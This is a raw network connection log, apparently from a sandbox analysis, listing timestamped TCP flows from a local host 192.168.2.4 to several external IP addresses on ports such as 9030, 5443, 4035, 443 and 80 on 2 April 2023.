Apr 2, 2023 09:50:16.984587908 CEST	9030	49709	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:16.984611988 CEST	9030	49709	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:16.984639883 CEST	9030	49709	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:16.984740019 CEST	49709	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.009429932 CEST	49709	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.035157919 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:17.036879063 CEST	9030	49709	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.182950020 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:17.303219080 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:17.304871082 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:17.331168890 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.353364944 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:17.358915091 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.359425068 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.359638929 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.386957884 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387321949 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387376070 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387427092 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387475967 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387490034 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.387512922 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.387537003 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.387567997 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.411709070 CEST	49710	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:17.428232908 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:17.439178944 CEST	9030	49710	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:17.741143942 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:17.984436989 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:18.016218901 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:18.284898996 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:18.569107056 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:18.578146935 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:18.846668005 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:19.136390924 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:19.145807981 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:19.159555912 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.187534094 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.187726974 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.187963009 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.215311050 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.215728998 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.215784073 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.215820074 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.215850115 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.215890884 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.231384993 CEST	49711	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.255466938 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:19.259033918 CEST	9030	49711	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.413971901 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:19.523633003 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:19.523916960 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:19.565960884 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.572303057 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:19.593543053 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.593703032 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.594171047 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.621886015 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.621936083 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.621968985 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.622003078 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.622076035 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.622143030 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.637595892 CEST	49712	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:19.661916971 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:19.665205002 CEST	9030	49712	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:19.973073959 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:21.091892004 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:21.134912968 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:21.136661053 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:21.406924963 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:21.606899977 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:21.625201941 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:21.894059896 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:22.089981079 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:22.098037004 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:22.194540024 CEST	49713	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.222939014 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.223809958 CEST	49713	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.224037886 CEST	49713	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.251565933 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.252054930 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.252080917 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.252109051 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.252213955 CEST	49713	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.272214890 CEST	49713	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.294996023 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:22.299870968 CEST	9030	49713	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.366058111 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:22.563061953 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:22.563750029 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:22.597425938 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.619482994 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:22.625576019 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.625840902 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.626354933 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.653754950 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.653868914 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.653913021 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.653956890 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:22.654027939 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.654028893 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.677664042 CEST	49714	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:22.691536903 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:22.705085039 CEST	9030	49714	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:23.000986099 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:24.566663980 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:24.601357937 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:24.873068094 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:25.149789095 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:25.165395975 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:25.434062004 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:25.703255892 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:25.718229055 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:25.735690117 CEST	49715	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:25.763422966 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.763725042 CEST	49715	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:25.764275074 CEST	49715	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:25.791728020 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.813611031 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.813668013 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.813709021 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.814388037 CEST	49715	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:25.833636999 CEST	49715	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:25.855142117 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:25.861958981 CEST	9030	49715	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:25.986577034 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:26.123243093 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:26.123933077 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:26.145612001 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.166624069 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:26.173409939 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.173543930 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.173717022 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.201071978 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.201463938 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.201525927 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.201570034 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.201653957 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.201653957 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.234230042 CEST	49716	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:26.249115944 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:26.261893034 CEST	9030	49716	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:26.561275959 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:26.873081923 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:26.896805048 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:27.164982080 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:27.519562006 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:27.528969049 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:27.796973944 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:28.148114920 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:28.158078909 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:28.170897007 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.198478937 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.198585033 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.198793888 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.228060961 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.299179077 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.299247980 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.299302101 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.299320936 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.299391031 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.315808058 CEST	49717	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.330563068 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:28.343512058 CEST	9030	49717	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.426378965 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:28.598539114 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:28.599144936 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:28.621161938 CEST	49718	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.648804903 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.648941994 CEST	49718	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.649182081 CEST	49718	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.651190996 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:28.678805113 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.679088116 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.679126024 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.679157019 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:28.679239035 CEST	49718	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.706804037 CEST	49718	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:28.722815037 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:28.736495972 CEST	9030	49718	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:29.037230968 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:29.240047932 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:29.279997110 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:29.548069954 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:29.800282001 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:29.810089111 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:30.078231096 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:30.333231926 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:30.385752916 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:30.653980970 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:30.661842108 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:30.812827110 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:30.814126968 CEST	49719	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:50:30.839818954 CEST	4035	49719	89.203.249.203	192.168.2.4
Apr 2, 2023 09:50:30.930133104 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:31.080790043 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:31.080832958 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:31.080935955 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:31.080981016 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:31.354537964 CEST	49719	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:50:31.380096912 CEST	4035	49719	89.203.249.203	192.168.2.4
Apr 2, 2023 09:50:31.885859013 CEST	49719	4035	192.168.2.4	89.203.249.203
Apr 2, 2023 09:50:31.911520004 CEST	4035	49719	89.203.249.203	192.168.2.4
Apr 2, 2023 09:50:43.064426899 CEST	49720	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:50:43.237050056 CEST	4035	49720	34.171.171.32	192.168.2.4
Apr 2, 2023 09:50:43.237245083 CEST	49720	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:50:43.256675005 CEST	49720	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:50:43.426042080 CEST	4035	49720	34.171.171.32	192.168.2.4
Apr 2, 2023 09:50:43.426712990 CEST	4035	49720	34.171.171.32	192.168.2.4
Apr 2, 2023 09:50:43.426887989 CEST	49720	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:50:43.427237034 CEST	49720	4035	192.168.2.4	34.171.171.32
Apr 2, 2023 09:50:43.491688013 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:43.491794109 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:43.491889954 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:43.596287966 CEST	4035	49720	34.171.171.32	192.168.2.4
Apr 2, 2023 09:50:43.898952961 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:43.899038076 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:44.618927002 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:44.619106054 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:45.308530092 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:45.308571100 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.309665918 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.426064014 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:45.426106930 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.600209951 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.600368023 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.600456953 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:45.617223978 CEST	49721	443	192.168.2.4	104.237.62.211
Apr 2, 2023 09:50:45.617285967 CEST	443	49721	104.237.62.211	192.168.2.4
Apr 2, 2023 09:50:45.622138977 CEST	49722	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:50:48.715373993 CEST	49722	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:50:54.731673956 CEST	49722	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:50:55.638911963 CEST	49723	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:50:58.642811060 CEST	49723	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:51:04.682154894 CEST	49723	80	192.168.2.4	154.35.175.225
Apr 2, 2023 09:51:05.652080059 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.672764063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.675609112 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.675986052 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.696609974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.696789980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.696836948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.696886063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.696929932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.696943045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.696990013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697038889 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697056055 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.697088957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697101116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.697114944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697161913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697208881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.697226048 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.697264910 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.717890978 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718014002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718063116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718113899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718141079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718139887 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718187094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718220949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718255997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718257904 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718302965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718336105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718354940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718354940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718405008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718450069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718494892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718501091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718501091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718543053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718588114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718621016 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718652964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718722105 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718772888 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718800068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718844891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.718847036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.718894958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.719261885 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.739511013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739619970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739701033 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.739741087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739788055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739857912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.739871025 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739919901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.739991903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740025997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740072012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740083933 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740104914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740163088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740196943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740251064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740314007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740324020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740375996 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740381956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740426064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740463972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740520000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740540981 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740576982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740605116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740652084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740701914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740736008 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740772009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740830898 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.740864992 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.740938902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741024017 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741027117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741074085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741118908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741182089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741209984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741255999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.741295099 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.741327047 CEST	80	49724	131.188.40.189	192.168.2.4
